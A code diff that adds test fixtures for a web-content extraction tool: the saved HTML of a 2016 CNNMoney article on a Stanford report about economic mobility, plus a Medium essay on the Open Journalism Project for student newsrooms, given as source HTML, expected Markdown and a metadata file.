content_type="application/json", + body=json.dumps({"extensions": []}), + ) + else: + await route.continue_() + + async def handle_tools(route): + await route.fulfill(status=200, content_type="application/json", body='{"tools":[]}') + + async def handle_registry(route): + await route.fulfill(status=200, content_type="application/json", body='{"entries":[]}') + + await page.route("**/api/extensions/tools", handle_tools) + await page.route("**/api/extensions/registry", handle_registry) + await page.route("**/api/extensions*", counting_handler) + + # First visit + await go_to_extensions(page) + count_after_first = len(call_count) + assert count_after_first >= 1, "loadExtensions not called on first visit" + + # Navigate away + await page.locator(SEL["tab_button"].format(tab="chat")).click() + await page.locator(SEL["tab_panel"].format(tab="chat")).wait_for( + state="visible", timeout=5000 + ) + + # Return to extensions + await go_to_extensions(page) + count_after_second = len(call_count) + assert count_after_second > count_after_first, "loadExtensions not called on return visit" + + +async def test_auth_completed_sse_triggers_extensions_reload(page): + """auth_completed SSE event while on the extensions tab triggers a reload.""" + reload_count = [] + + async def counting_handler(route): + path = route.request.url.split("?")[0] + if path.endswith("/api/extensions"): + reload_count.append(1) + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"extensions": []}), + ) + else: + await route.continue_() + + async def handle_tools(route): + await route.fulfill(status=200, content_type="application/json", body='{"tools":[]}') + + async def handle_registry(route): + await route.fulfill(status=200, content_type="application/json", body='{"entries":[]}') + + await page.route("**/api/extensions/tools", handle_tools) + await page.route("**/api/extensions/registry", handle_registry) + await page.route("**/api/extensions*", counting_handler) + + await go_to_extensions(page) + count_before = len(reload_count) + + # Simulate auth_completed by calling loadExtensions directly (as the SSE handler does) + await page.evaluate(""" + // Simulate what the auth_completed SSE handler does when currentTab === 'extensions' + if (typeof loadExtensions === 'function') { + loadExtensions(); + } + """) + + await page.wait_for_timeout(600) + assert len(reload_count) > count_before, "loadExtensions was not called after auth_completed" + + +# ─── Regression tests ───────────────────────────────────────────────────────── +# Each test below is a regression for a specific bug found after the initial +# test suite was written. The bug description is in the docstring. + +async def test_ext_tools_null_does_not_crash(page): + """Regression: ext.tools null dereference crashes the extensions tab. + + Bug: renderExtensionCard() called ext.tools.length without a null guard. + If the backend returns tools: null (or omits the field), the tab silently + breaks and no cards render at all. + """ + ext_with_null_tools = {**_WASM_TOOL, "tools": None} + await mock_ext_apis(page, installed=[ext_with_null_tools]) + await go_to_extensions(page) + + # The card must render without a JS error + card = page.locator(SEL["ext_card_installed"]).first + await card.wait_for(state="visible", timeout=5000) + assert "Test WASM Tool" in await card.text_content() + # No .ext-tools element should appear (null → skip rendering) + assert await card.locator(SEL["ext_tools"]).count() == 0 + + +async def test_configure_modal_stays_open_on_save_failure(page): + """Regression: configure modal closed before checking success, so errors were unrecoverable. + + Bug: submitConfigureModal() called closeConfigureModal() unconditionally at + the top of .then(), then showed an error toast — but the modal was already + gone, forcing the user to click Setup/Configure again to retry. + Fix: modal now only closes on success; on failure it stays open for retry. + """ + async def handle_setup(route): + if route.request.method == "GET": + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"secrets": [{"name": "t", "prompt": "Token", "provided": False, "optional": False, "auto_generate": False}]}), + ) + else: + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": False, "message": "Invalid API key"}), + ) + + await page.route("**/api/extensions/test-ext/setup", handle_setup) + await page.evaluate("showConfigureModal('test-ext')") + await page.locator(SEL["configure_modal"]).wait_for(state="visible", timeout=5000) + await page.locator(SEL["configure_input"]).fill("badkey") + await page.locator(SEL["configure_save_btn"]).click() + + # Toast appears with the error message + await wait_for_toast(page, "Invalid API key") + # Modal must still be visible so the user can correct their input and retry + assert await page.locator(SEL["configure_overlay"]).is_visible(), \ + "Configure modal should remain open after a save failure so the user can retry" + + +async def test_oauth_url_injection_blocked(page): + """Regression: window.open() was called with unvalidated server-supplied auth_url. + + Bug: activate/configure responses with auth_url were passed directly to + window.open() with no scheme validation. A compromised backend could supply + a javascript: or data: URL. + Fix: openOAuthUrl() rejects any URL that does not start with https://. + """ + await page.evaluate("window._openedUrl = null; window.open = (url) => { window._openedUrl = url; }") + await mock_ext_apis(page, installed=[_MCP_INACTIVE]) + + async def handle_activate(route): + await route.fulfill( + status=200, + content_type="application/json", + body=json.dumps({"success": True, "auth_url": "javascript:alert('xss')"}), + ) + + await page.route("**/api/extensions/test-mcp-inactive/activate", handle_activate) + await go_to_extensions(page) + + activate_btn = page.locator(SEL["ext_card_installed"]).first.locator(SEL["ext_activate_btn"]) + await activate_btn.wait_for(state="visible", timeout=5000) + await activate_btn.click() + + # Give the JS time to run (if it was going to call window.open, it would have by now) + await page.wait_for_timeout(600) + opened = await page.evaluate("window._openedUrl") + assert opened is None, f"window.open should NOT be called for non-HTTPS URLs, but got: {opened}" diff --git a/tests/e2e/scenarios/test_html_injection.py b/tests/e2e/scenarios/test_html_injection.py new file mode 100644 index 00000000..f92fb7c9 --- /dev/null +++ b/tests/e2e/scenarios/test_html_injection.py @@ -0,0 +1,82 @@ +"""Scenario 5: HTML injection defense in chat messages.""" + +import pytest +from helpers import SEL + + +XSS_PAYLOAD = ( + 'Here is some content: and ' + ' and ' + ' end of content.' +) + + +async def test_html_injection_sanitized(page): + """XSS vectors in assistant messages should be sanitized by renderMarkdown.""" + # Inject an assistant message with XSS vectors directly via JS. + # This tests the sanitization pipeline (renderMarkdown → sanitizeRenderedHtml) + # without depending on the full LLM round-trip. + await page.evaluate( + "content => addMessage('assistant', content)", XSS_PAYLOAD + ) + + assistant_msg = page.locator(SEL["message_assistant"]).last + await assistant_msg.wait_for(state="visible", timeout=5000) + + inner_html = await assistant_msg.inner_html() + + # Script tags must be stripped + assert " + + + + + + + + + + + + + + + + + + The 'birth lottery' and economic mobility - Feb. 1, 2016 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+ + + + + +
+
+
+ +
+
+
+
+
+
+
American Opportunity
+

The 'birth lottery' and economic mobility

+ +
+
+
+
+ +
+
+
+
+
+
+ +
+
+ +
+
+
+
+
+
+ +
+
+
+
The priest saving LA's gang members
+
Your video will play in 00:25
+
+
+
+ +

The U.S. has long been heralded as a land of opportunity -- a place where anyone can succeed regardless of the economic class they were born into.

+

But a new report released on Monday by Stanford University's Center on Poverty and Inequality calls that into question.

+
+ +
+

The report assessed poverty levels, income and wealth inequality, economic mobility and unemployment levels among 10 wealthy countries with social welfare programs.

+
+
+
+
+
+ + + + + +
+ Powered by SmartAsset.com +
+ + + + + + + + + +
+
+
+
+
+

Among its key findings: the class you're born into matters much more in the U.S. than many of the other countries.

+

As the report states: "[T]he birth lottery matters more in the U.S. than in most well-off countries."

+ +

But this wasn't the only finding that suggests the U.S. isn't quite living up to its reputation as a country where everyone has an equal chance to get ahead through sheer will and hard work.

+

Related: Rich are paying more in taxes but not as much as they used to

+
+
+
ADVERTISING
+
+
inRead invented by Teads
+
+
+

The report also suggested the U.S. might not be the "jobs machine" it thinks it is, when compared to other countries.

+

It ranked near the bottom of the pack based on the levels of unemployment among men and women of prime working age. The study determined this by taking the ratio of employed men and women between the ages of 25 and 54 compared to the total population of each country.

+

The overall rankings of the countries were as follows:
1. Finland
2. Norway
3. Australia
4. Canada
5. Germany
6. France
7. United Kingdom
8. Italy
9. Spain
10. United States + + + + + + + + +

+

The low ranking the U.S. received was due to its extreme levels of wealth and income inequality and the ineffectiveness of its "safety net" -- social programs aimed at reducing poverty.

+

Related: Chicago is America's most segregated city

+

The report concluded that the American safety net was ineffective because it provides only half the financial help people need. Additionally, the levels of assistance in the U.S. are generally lower than in other countries.

+
+
+
CNNMoney (New York) First published February 1, 2016: 1:28 AM ET
+
+ +
+
+
+
+
+
+ +
+
+
+ + +
+
+ +
+
+ +
+
+ + + + + +
+ +

Social Surge - What's Trending

+
+ +
+ + +
+
+ +
+
+ +
+
+ + +
+

Mortgage & Savings + +

+
+ +
+ + + +
+
+ Terms & Conditions apply +

NMLS #1136

+
+
+
+
+
+ +
+

Search for Jobs + +

+ +
+
+
+
+ +
+
+
+
+

LendingTree + +

+
+ +
+
+
+ + +
+

Newsletter

+ + +
+ + +
+
+

CNNMoney Sponsors

+
+
    +
  • + +
    • +
  • + +
    • +
  • + +
    • +
  • + +
    • +
  • + +
    • +
+
+
+ + + + + +
+

Partner Offers + +

+
+
    + + +
+
+
+
+ + +

NextAdvisor + +

+ + + +
+ +
+
+ +
+
+ +
+
+
+
+
+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + + + + +
+ +
+
+ + +
+ + + + + +
+ + + + +
+
+
+

+
+
+
+
+ +
+
+ + +
+ + + \ No newline at end of file diff --git a/tests/test-pages/medium/expected.md b/tests/test-pages/medium/expected.md new file mode 100644 index 00000000..049cab5d --- /dev/null +++ b/tests/test-pages/medium/expected.md @@ -0,0 +1,311 @@ +## Open Journalism Project: + +#### *Better Student Journalism* + +We pushed out the first version of the [Open Journalism site](http://pippinlee.github.io/open-journalism-project/) in January. Our goal is for the + site to be a place to teach students what they should know about journalism + on the web. It should be fun too. + +Topics like [mapping](http://pippinlee.github.io/open-journalism-project/Mapping/), [security](http://pippinlee.github.io/open-journalism-project/Security/), command + line tools, and [open source](http://pippinlee.github.io/open-journalism-project/Open-source/) are + all concepts that should be made more accessible, and should be easily + understood at a basic level by all journalists. We’re focusing on students + because we know student journalism well, and we believe that teaching maturing + journalists about the web will provide them with an important lens to view + the world with. This is how we got to where we are now. + +### Circa 2011 + +In late 2011 I sat in the design room of our university’s student newsroom + with some of the other editors: Kate Hudson, Brent Rose, and Nicholas Maronese. + I was working as the photo editor then—something I loved doing. I was very + happy travelling and photographing people while listening to their stories. + +Photography was my lucky way of experiencing the many types of people + my generation seemed to avoid, as well as many the public spends too much + time discussing. One of my habits as a photographer was scouring sites + like Flickr to see how others could frame the world in ways I hadn’t previously + considered. + +topleftpixel.com + +I started discovering beautiful things the [web could do with images](http://wvs.topleftpixel.com/13/02/06/timelapse-strips-homewood.htm): + things not possible with print. Just as every generation revolts against + walking in the previous generations shoes, I found myself questioning the + expectations that I came up against as a photo editor. In our newsroom + the expectations were built from an outdated information world. We were + expected to fill old shoes. + +So we sat in our student newsroom—not very happy with what we were doing. + Our weekly newspaper had remained essentially unchanged for 40+ years. + Each editorial position had the same requirement every year. The *big* change + happened in the 80s when the paper started using colour. We’d also stumbled + into having a website, but it was updated just once a week with the release + of the newspaper. + +Information had changed form, but the student newsroom hadn’t, and it + was becoming harder to romanticize the dusty newsprint smell coming from + the shoes we were handed down from previous generations of editors. It + was, we were told, all part of “becoming a journalist.” + +### We don’t know what we don’t know + +We spent much of the rest of the school year asking “what should we be + doing in the newsroom?”, which mainly led us to ask “how do we use the + web to tell stories?” It was a straightforward question that led to many + more questions about the web: something we knew little about. Out in the + real world, traditional journalists were struggling to keep their jobs + in a dying print world. They wore the same design of shoes that we were + supposed to fill. Being pushed to repeat old, failing strategies and blocked + from trying something new scared us. + +We had questions, so we started doing some research. We talked with student + newsrooms in Canada and the United States, and filled too many Google Doc + files with notes. Looking at the notes now, they scream of fear. We annotated + our notes with naive solutions, often involving scrambled and immature + odysseys into the future of online journalism. + +There was a lot we didn’t know. We didn’t know **how to build a mobile app**. + We didn’t know **if we should build a mobile app**. + We didn’t know **how to run a server**. + We didn’t know **where to go to find a server**. + We didn’t know **how the web worked**. + We didn’t know **how people used the web to read news**. + We didn’t know **what news should be on the web**. + If news is just information, what does that even look like? + +We asked these questions to many students at other papers to get a consensus + of what had worked and what hadn’t. They reported similar questions and + fears about the web but followed with “print advertising is keeping us + afloat so we can’t abandon it”. + +In other words, we knew that we should be building a newer pair of shoes, + but we didn’t know what the function of the shoes should be. + +### Common problems in student newsrooms (2011) + +Our questioning of other student journalists in 15 student newsrooms brought + up a few repeating issues. + +- Lack of mentorship +- A news process that lacked consideration of the web +- No editor/position specific to the web +- Little exposure to many of the cool projects being put together by professional + newsrooms +- Lack of diverse skills within the newsroom. Writers made up 95% of the + personnel. Students with other skills were not sought because journalism + was seen as “a career with words.” The other 5% were designers, designing + words on computers, for print. +- Not enough discussion between the business side and web efforts +From our 2011 research + +### Common problems in student newsrooms (2013) + +Two years later, we went back and looked at what had changed. We talked + to a dozen more newsrooms and weren’t surprised by our findings. + +- Still no mentorship or link to professional newsrooms building stories + for the web +- Very little control of website and technology +- The lack of exposure that student journalists have to interactive storytelling. + While some newsrooms are in touch with what’s happening with the web and + journalism, there still exists a huge gap between the student newsroom + and its professional counterpart +- No time in the current news development cycle for student newsrooms to + experiment with the web +- Lack of skill diversity (specifically coding, interaction design, and + statistics) +- Overly restricted access to student website technology. Changes are primarily + visual rather than functional. +- Significantly reduced print production of many papers +- Computers aren’t set up for experimenting with software and code, and + often locked down + + +Newsrooms have traditionally been covered in copies of The New York Times + or Globe and Mail. Instead newsrooms should try spend at 20 minutes each + week going over the coolest/weirdest online storytelling in an effort to + expose each other to what is possible. “[Hey, what has the New York Times R&D lab been up to this week?](http://nytlabs.com/)” + +Instead of having computers that are locked down, try setting aside a + few office computers that allow students to play and “break”, or encourage + editors to buy their own Macbooks so they’re always able to practice with + code and new tools on their own. + +From all this we realized that changing a student newsroom is difficult. + It takes patience. It requires that the business and editorial departments + of the student newsroom be on the same (web)page. The shoes of the future + must be different from the shoes we were given. + +We need to rethink how long the new shoe design will be valid. It’s more + important that we focus on the process behind making footwear than on actually + creating a specific shoe. We shouldn’t be building a shoe to last 40 years. + Our footwear design process will allow us to change and adapt as technology + evolves. The media landscape will change, so having a newsroom that can + change with it will be critical. + +**We are building a shoe machine, not a shoe.** + +### A train or light at the end of the tunnel: are student newsrooms changing for the better? + +In our 2013 research we found that almost 50% of student newsrooms had + created roles specifically for the web. **This sounds great, but is still problematic in its current state.** + +**We designed many of these slides to help explain to ourselves what we were doing** + +When a newsroom decides to create a position for the web, it’s often with + the intent of having content flow steadily from writers onto the web. This + is a big improvement from just uploading stories to the web whenever there + is a print issue. *However…* + +1. **The handoff** +Problems arise because web editors are given roles that absolve the rest + of the editors from thinking about the web. All editors should be involved + in the process of story development for the web. While it’s a good idea + to have one specific editor manage the website, contributors and editors + should all play with and learn about the web. Instead of “can you make + a computer do XYZ for me?”, we should be saying “can you show me how to + make a computer do XYZ?” +2. **Not just social media** +A + web editor could do much more than simply being in charge of the social + media accounts for the student paper. Their responsibility could include + teaching all other editors to be listening to what’s happening online. + The web editor can take advantage of live information to change how the + student newsroom reports news in real time. +3. **Web (interactive) editor** +The + goal of having a web editor should be for someone to build and tell stories + that take full advantage of the web as their medium. Too often the web’s + interactivity is not considered when developing the story. The web then + ends up as a resting place for print words. + + +Editors at newsrooms are still figuring out how to convince writers of + the benefit to having their content online. There’s still a stronger draw + to writers seeing their name in print than on the web. Showing writers + that their stories can be told in new ways to larger audiences is a convincing + argument that the web is a starting point for telling a story, not its + graveyard. + +When everyone in the newsroom approaches their website with the intention + of using it to explore the web as a medium, they all start to ask “what + is possible?” and “what can be done?” You can’t expect students to think + in terms of the web if it’s treated as a place for print words to hang + out on a web page. + +We’re OK with this problem, if we see newsrooms continue to take small + steps towards having all their editors involved in the stories for the + web. + +The current Open Journalism site was a few years in the making. This was + an original launch page we use in 2012 + +### What we know + +- **New process** +Our rough research has told us newsrooms need to be reorganized. This + includes every part of the newsroom’s workflow: from where a story and + its information comes from, to thinking of every word, pixel, and interaction + the reader will have with your stories. If I was a photo editor that wanted + to re-think my process with digital tools in mind, I’d start by asking + “how are photo assignments processed and sent out?”, “how do we receive + images?”, “what formats do images need to be exported in?”, “what type + of screens will the images be viewed on?”, and “how are the designers getting + these images?” Making a student newsroom digital isn’t about producing + “digital manifestos”, it’s about being curious enough that you’ll want + to to continue experimenting with your process until you’ve found one that + fits your newsroom’s needs. +- **More (remote) mentorship** +Lack of mentorship is still a big problem. [Google’s fellowship program](http://www.google.com/get/journalismfellowship/) is great. The fact that it + only caters to United States students isn’t. There are only a handful of + internships in Canada where students interested in journalism can get experience + writing code and building interactive stories. We’re OK with this for now, + as we expect internships and mentorship over the next 5 years between professional + newsrooms and student newsrooms will only increase. It’s worth noting that + some of that mentorship will likely be done remotely. +- **Changing a newsroom culture** +Skill diversity needs to change. We encourage every student newsroom we + talk to, to start building a partnership with their school’s Computer Science + department. It will take some work, but you’ll find there are many CS undergrads + that love playing with web technologies, and using data to tell stories. + Changing who is in the newsroom should be one of the first steps newsrooms + take to changing how they tell stories. The same goes with getting designers + who understand the wonderful interactive elements of the web and students + who love statistics and exploring data. Getting students who are amazing + at design, data, code, words, and images into one room is one of the coolest + experience I’ve had. Everyone benefits from a more diverse newsroom. + + +### What we don’t know + +- **Sharing curiosity for the web** +We don’t know how to best teach students about the web. It’s not efficient + for us to teach coding classes. We do go into newsrooms and get them running + their first code exercises, but if someone wants to learn to program, we + can only provide the initial push and curiosity. We will be trying out + “labs” with a few schools next school year to hopefully get a better idea + of how to teach students about the web. +- **Business** +We don’t know how to convince the business side of student papers that + they should invest in the web. At the very least we’re able to explain + that having students graduate with their current skill set is painful in + the current job market. +- **The future** +We don’t know what journalism or the web will be like in 10 years, but + we can start encouraging students to keep an open mind about the skills + they’ll need. We’re less interested in preparing students for the current + newsroom climate, than we are in teaching students to have the ability + to learn new tools quickly as they come and go. + +Another slide from 2012 website + + + +### What we’re trying to share with others + +- **A concise guide to building stories for the web** +There are too many options to get started. We hope to provide an opinionated + guide that follows both our experiences, research, and observations from + trying to teach our peers. + + +Student newsrooms don’t have investors to please. Student newsrooms can + change their website every week if they want to try a new design or interaction. + As long as students start treating the web as a different medium, and start + building stories around that idea, then we’ll know we’re moving forward. + +### A note to professional news orgs + +We’re also asking professional newsrooms to be more open about their process + of developing stories for the web. You play a big part in this. This means + writing about it, and sharing code. We need to start building a bridge + between student journalism and professional newsrooms. + +2012 + +### This is a start + +We going to continue slowly growing the content on [Open Journalism](http://pippinlee.github.io/open-journalism-project/). We still consider this the beta version, + but expect to polish it, and beef up the content for a real launch at the + beginning of the summer. + +We expect to have more original tutorials as well as the beginnings of + what a curriculum may look like that a student newsroom can adopt to start + guiding their transition to become a web first newsroom. We’re also going + to be working with the [Queen’s Journal](http://queensjournal.ca/) and [The Ubyssey](http://ubyssey.ca/)next school year to better understand how to make the student + newsroom a place for experimenting with telling stories on the web. If + this sound like a good idea in your newsroom, we’re still looking to add + 1 more school. + +We’re trying out some new shoes. And while they’re not self-lacing, and + smell a bit different, we feel lacing up a new pair of kicks can change + a lot. + +**Let’s talk. Let’s listen.** + +**We’re still in the early stages of what this project will look like, so if you want to help or have thoughts, let’s talk.** + +[**pippin@pippinlee.com**](mailto:pippinblee@gmail.com) + +*This isn’t supposed to be a****manifesto™©*** *we just think it’s pretty cool to share what we’ve learned so far, and hope you’ll do the same. We’re all in this together.* \ No newline at end of file diff --git a/tests/test-pages/medium/metadata.json b/tests/test-pages/medium/metadata.json new file mode 100644 index 00000000..b5b34265 --- /dev/null +++ b/tests/test-pages/medium/metadata.json @@ -0,0 +1,16 @@ +{ + "check_expected": true, + "contains": [ + "Open Journalism Project", + "Better Student Journalism", + "Circa 2011", + "Kate Hudson, Brent Rose, and Nicholas Maronese", + "Flickr", + "topleftpixel", + "We don't know what we don't know", + "shoe machine", + "Queen's Journal", + "Let's talk. Let's listen.", + "Common problems in student newsrooms" + ] +} diff --git a/tests/test-pages/medium/source.html b/tests/test-pages/medium/source.html new file mode 100644 index 00000000..3d469684 --- /dev/null +++ b/tests/test-pages/medium/source.html @@ -0,0 +1,705 @@ + + + + + + + The Open Journalism Project: Better Student Journalism — Medium + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+ +
+
+
+
+
Ready to publish?
+
Change the story’s title, subtitle, and visibility as needed
+
+
+
+
+
+
+
+
+
+
Pippin Lee
+
11 min read +
+
+
+
+
+
+
+
+
+
+ + + + +
+
+
+
+
+ + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+
+

Open Journalism Project:

+

+
+

+

Better Student Journalism

+

+
+

+


+

+
+

+

We pushed out the first version of the Open Journalism site in January. Our goal is for the + site to be a place to teach students what they should know about journalism + on the web. It should be fun too.

+

Topics like mapping, security, command + line tools, and open source are + all concepts that should be made more accessible, and should be easily + understood at a basic level by all journalists. We’re focusing on students + because we know student journalism well, and we believe that teaching maturing + journalists about the web will provide them with an important lens to view + the world with. This is how we got to where we are now.

+

Circa 2011

+

In late 2011 I sat in the design room of our university’s student newsroom + with some of the other editors: Kate Hudson, Brent Rose, and Nicholas Maronese. + I was working as the photo editor then—something I loved doing. I was very + happy travelling and photographing people while listening to their stories.

+

Photography was my lucky way of experiencing the many types of people + my generation seemed to avoid, as well as many the public spends too much + time discussing. One of my habits as a photographer was scouring sites + like Flickr to see how others could frame the world in ways I hadn’t previously + considered.

+
+
+
+ +
+
topleftpixel.com
+
+

I started discovering beautiful things the web could do with images: + things not possible with print. Just as every generation revolts against + walking in the previous generations shoes, I found myself questioning the + expectations that I came up against as a photo editor. In our newsroom + the expectations were built from an outdated information world. We were + expected to fill old shoes.

+

So we sat in our student newsroom—not very happy with what we were doing. + Our weekly newspaper had remained essentially unchanged for 40+ years. + Each editorial position had the same requirement every year. The big change + happened in the 80s when the paper started using colour. We’d also stumbled + into having a website, but it was updated just once a week with the release + of the newspaper.

+

Information had changed form, but the student newsroom hadn’t, and it + was becoming harder to romanticize the dusty newsprint smell coming from + the shoes we were handed down from previous generations of editors. It + was, we were told, all part of “becoming a journalist.”

+
+
+
+ +
+
+

We don’t know what we don’t know

+

We spent much of the rest of the school year asking “what should we be + doing in the newsroom?”, which mainly led us to ask “how do we use the + web to tell stories?” It was a straightforward question that led to many + more questions about the web: something we knew little about. Out in the + real world, traditional journalists were struggling to keep their jobs + in a dying print world. They wore the same design of shoes that we were + supposed to fill. Being pushed to repeat old, failing strategies and blocked + from trying something new scared us.

+

We had questions, so we started doing some research. We talked with student + newsrooms in Canada and the United States, and filled too many Google Doc + files with notes. Looking at the notes now, they scream of fear. We annotated + our notes with naive solutions, often involving scrambled and immature + odysseys into the future of online journalism.

+

There was a lot we didn’t know. We didn’t know how to build a mobile app. + We didn’t know if we should build a mobile app. + We didn’t know how to run a server. + We didn’t know where to go to find a server. + We didn’t know how the web worked. + We didn’t know how people used the web to read news. + We didn’t know what news should be on the web. + If news is just information, what does that even look like?

+

We asked these questions to many students at other papers to get a consensus + of what had worked and what hadn’t. They reported similar questions and + fears about the web but followed with “print advertising is keeping us + afloat so we can’t abandon it”.

+

In other words, we knew that we should be building a newer pair of shoes, + but we didn’t know what the function of the shoes should be.

+

Common problems in student newsrooms (2011)

+

Our questioning of other student journalists in 15 student newsrooms brought + up a few repeating issues.

+
    +
  • Lack of mentorship
    • +
  • A news process that lacked consideration of the web
    • +
  • No editor/position specific to the web
    • +
  • Little exposure to many of the cool projects being put together by professional + newsrooms
    • +
  • Lack of diverse skills within the newsroom. Writers made up 95% of the + personnel. Students with other skills were not sought because journalism + was seen as “a career with words.” The other 5% were designers, designing + words on computers, for print.
    • +
  • Not enough discussion between the business side and web efforts
    • +
+
+
+
+ +
+
From our 2011 research
+
+

Common problems in student newsrooms (2013)

+

Two years later, we went back and looked at what had changed. We talked + to a dozen more newsrooms and weren’t surprised by our findings.

+
    +
  • Still no mentorship or link to professional newsrooms building stories + for the web
    • +
  • Very little control of website and technology
    • +
  • The lack of exposure that student journalists have to interactive storytelling. + While some newsrooms are in touch with what’s happening with the web and + journalism, there still exists a huge gap between the student newsroom + and its professional counterpart
    • +
  • No time in the current news development cycle for student newsrooms to + experiment with the web
    • +
  • Lack of skill diversity (specifically coding, interaction design, and + statistics)
    • +
  • Overly restricted access to student website technology. Changes are primarily + visual rather than functional.
    • +
  • Significantly reduced print production of many papers
    • +
  • Computers aren’t set up for experimenting with software and code, and + often locked down
    • +
+

Newsrooms have traditionally been covered in copies of The New York Times + or Globe and Mail. Instead newsrooms should try spend at 20 minutes each + week going over the coolest/weirdest online storytelling in an effort to + expose each other to what is possible. “Hey, what has the New York Times R&D lab been up to this week?”

+

Instead of having computers that are locked down, try setting aside a + few office computers that allow students to play and “break”, or encourage + editors to buy their own Macbooks so they’re always able to practice with + code and new tools on their own.

+

From all this we realized that changing a student newsroom is difficult. + It takes patience. It requires that the business and editorial departments + of the student newsroom be on the same (web)page. The shoes of the future + must be different from the shoes we were given.

+

We need to rethink how long the new shoe design will be valid. It’s more + important that we focus on the process behind making footwear than on actually + creating a specific shoe. We shouldn’t be building a shoe to last 40 years. + Our footwear design process will allow us to change and adapt as technology + evolves. The media landscape will change, so having a newsroom that can + change with it will be critical.

+

We are building a shoe machine, not a shoe. +

+

+
+

+

A train or light at the end of the tunnel: are student newsrooms changing for the better?

+

+
+

+

In our 2013 research we found that almost 50% of student newsrooms had + created roles specifically for the web. This sounds great, but is still problematic in its current state. +

+
+
+
+ +
+
We designed many of these slides to help explain to ourselves what we were doing +
+
+

When a newsroom decides to create a position for the web, it’s often with + the intent of having content flow steadily from writers onto the web. This + is a big improvement from just uploading stories to the web whenever there + is a print issue. However… +

+
    +
  1. The handoff +
    Problems arise because web editors are given roles that absolve the rest + of the editors from thinking about the web. All editors should be involved + in the process of story development for the web. While it’s a good idea + to have one specific editor manage the website, contributors and editors + should all play with and learn about the web. Instead of “can you make + a computer do XYZ for me?”, we should be saying “can you show me how to + make a computer do XYZ?”
    2. +
  2. Not just social media
    A + web editor could do much more than simply being in charge of the social + media accounts for the student paper. Their responsibility could include + teaching all other editors to be listening to what’s happening online. + The web editor can take advantage of live information to change how the + student newsroom reports news in real time.
    3. +
  3. Web (interactive) editor
    The + goal of having a web editor should be for someone to build and tell stories + that take full advantage of the web as their medium. Too often the web’s + interactivity is not considered when developing the story. The web then + ends up as a resting place for print words.
    4. +
+

Editors at newsrooms are still figuring out how to convince writers of + the benefit to having their content online. There’s still a stronger draw + to writers seeing their name in print than on the web. Showing writers + that their stories can be told in new ways to larger audiences is a convincing + argument that the web is a starting point for telling a story, not its + graveyard.

+

When everyone in the newsroom approaches their website with the intention + of using it to explore the web as a medium, they all start to ask “what + is possible?” and “what can be done?” You can’t expect students to think + in terms of the web if it’s treated as a place for print words to hang + out on a web page.

+

We’re OK with this problem, if we see newsrooms continue to take small + steps towards having all their editors involved in the stories for the + web.

+
+
+
+ +
+
The current Open Journalism site was a few years in the making. This was + an original launch page we use in 2012
+
+

What we know

+
    +
  • New process +
    Our rough research has told us newsrooms need to be reorganized. This + includes every part of the newsroom’s workflow: from where a story and + its information comes from, to thinking of every word, pixel, and interaction + the reader will have with your stories. If I was a photo editor that wanted + to re-think my process with digital tools in mind, I’d start by asking + “how are photo assignments processed and sent out?”, “how do we receive + images?”, “what formats do images need to be exported in?”, “what type + of screens will the images be viewed on?”, and “how are the designers getting + these images?” Making a student newsroom digital isn’t about producing + “digital manifestos”, it’s about being curious enough that you’ll want + to to continue experimenting with your process until you’ve found one that + fits your newsroom’s needs.
    • +
  • More (remote) mentorship +
    Lack of mentorship is still a big problem. Google’s fellowship program is great. The fact that it + only caters to United States students isn’t. There are only a handful of + internships in Canada where students interested in journalism can get experience + writing code and building interactive stories. We’re OK with this for now, + as we expect internships and mentorship over the next 5 years between professional + newsrooms and student newsrooms will only increase. It’s worth noting that + some of that mentorship will likely be done remotely.
    • +
  • Changing a newsroom culture +
    Skill diversity needs to change. We encourage every student newsroom we + talk to, to start building a partnership with their school’s Computer Science + department. It will take some work, but you’ll find there are many CS undergrads + that love playing with web technologies, and using data to tell stories. + Changing who is in the newsroom should be one of the first steps newsrooms + take to changing how they tell stories. The same goes with getting designers + who understand the wonderful interactive elements of the web and students + who love statistics and exploring data. Getting students who are amazing + at design, data, code, words, and images into one room is one of the coolest + experience I’ve had. Everyone benefits from a more diverse newsroom.
    • +
+

What we don’t know

+
    +
  • Sharing curiosity for the web +
    We don’t know how to best teach students about the web. It’s not efficient + for us to teach coding classes. We do go into newsrooms and get them running + their first code exercises, but if someone wants to learn to program, we + can only provide the initial push and curiosity. We will be trying out + “labs” with a few schools next school year to hopefully get a better idea + of how to teach students about the web.
    • +
  • Business +
    We don’t know how to convince the business side of student papers that + they should invest in the web. At the very least we’re able to explain + that having students graduate with their current skill set is painful in + the current job market.
    • +
  • The future +
    We don’t know what journalism or the web will be like in 10 years, but + we can start encouraging students to keep an open mind about the skills + they’ll need. We’re less interested in preparing students for the current + newsroom climate, than we are in teaching students to have the ability + to learn new tools quickly as they come and go.
    • +
+
+
+
+
+
+ +
+
Another slide from 2012 website
+
+
+
+

What we’re trying to share with others

+
    +
  • A concise guide to building stories for the web +
    There are too many options to get started. We hope to provide an opinionated + guide that follows both our experiences, research, and observations from + trying to teach our peers.
    • +
+

Student newsrooms don’t have investors to please. Student newsrooms can + change their website every week if they want to try a new design or interaction. + As long as students start treating the web as a different medium, and start + building stories around that idea, then we’ll know we’re moving forward.

+

A note to professional news orgs

+

We’re also asking professional newsrooms to be more open about their process + of developing stories for the web. You play a big part in this. This means + writing about it, and sharing code. We need to start building a bridge + between student journalism and professional newsrooms.

+
+
+
+ +
+
2012
+
+

This is a start

+

We going to continue slowly growing the content on Open Journalism. We still consider this the beta version, + but expect to polish it, and beef up the content for a real launch at the + beginning of the summer.

+

We expect to have more original tutorials as well as the beginnings of + what a curriculum may look like that a student newsroom can adopt to start + guiding their transition to become a web first newsroom. We’re also going + to be working with the Queen’s Journal and + The Ubysseynext school year to better understand how to make the student + newsroom a place for experimenting with telling stories on the web. If + this sound like a good idea in your newsroom, we’re still looking to add + 1 more school.

+

